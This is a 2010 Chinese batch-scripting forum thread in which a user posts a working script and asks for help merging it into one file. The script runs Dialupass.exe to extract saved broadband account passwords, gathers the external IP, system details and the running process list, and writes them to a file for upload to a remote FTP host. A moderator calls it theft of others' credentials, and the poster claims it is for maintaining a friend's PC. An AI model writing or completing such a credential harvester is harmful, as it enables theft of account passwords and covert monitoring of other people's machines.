标题: [求助]获取信息并保存为以宽带账号命名并上传到FTP [打印本页]

---

作者: zlsanhong     时间: 2010-3-6 01:24    标题: [求助]获取信息并保存为以宽带账号命名并上传到FTP

求个批处理，作用是将本机的外网IP等信息以本机的宽带账号命名的文本方式上传到ftp上？

如下所示，有个Dialupass.exe用来获取宽带账号密码的。


@echo off
del /f /q IP.bbs pass.bbs user.bbs xt.bbs 密码.bbs 用户名.bbs
dialupass.exe /stext 账号.bbs
type 账号.bbs | find "User Name         :" >用户名.bbs
type 账号.bbs | find "Password          :" >密码.bbs
del /f /q 账号.bbs
for /f "tokens=1-3*" %%1 in (用户名.bbs)do >user.bbs  echo %%4
for /f "tokens=1-3*" %%2 in (密码.bbs)do >>pass.bbs  echo %%4
set /p name=<user.bbs
set /p pass=<pass.bbs
rasdial adsl %name% %pass%
call ip.bat
set /p ip=<IP.bbs
@echo off
systeminfo >xt.bbs
echo %ip% >%name%.txt
type xt.bbs | find "Lease Obtained" >>%name%.txt
echo %ComputerName%上传于%date:~0,10% %time%>>%name%.txt
echo %name%>>%name%.txt
echo %pass%>>%name%.txt
type xt.bbs | find "处理器:" >>%name%.txt
type xt.bbs | find "物理内存" >>%name%.txt
type xt.bbs | find "虚拟内存" >>%name%.txt
type xt.bbs | find "网卡:" >>%name%.txt
tasklist >>%name%.txt
del /f /q IP.bbs pass.bbs user.bbs xt.bbs 密码.bbs 用户名.bbs




ip.bat如下
@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>IP.bbs
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.ip138.com/ip2city.asp")

do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next


ftp 上传也懂了。
假设   ftp地址为12345.vicp.net
         用户名为user
         密码为pass


有没有办法整合成一个批处理 或是  有更好的办法没有？（主要是宽带用户名和外网IP，用以分辨和远程客户。）

[ Last edited by zlsanhong on 2010-3-6 at 01:58 ]

---

作者: HAT     时间: 2010-3-6 12:52
说白了就是盗用别人的宽带账号密码再发送给自己呗？

---

作者: zlsanhong     时间: 2010-3-6 14:30
版主怎么这么说呢？帮朋友维护而已，这年头宽带账号密码有P用啊？

---

作者: zlsanhong     时间: 2010-3-21 22:58
找到了  版主们对不起了。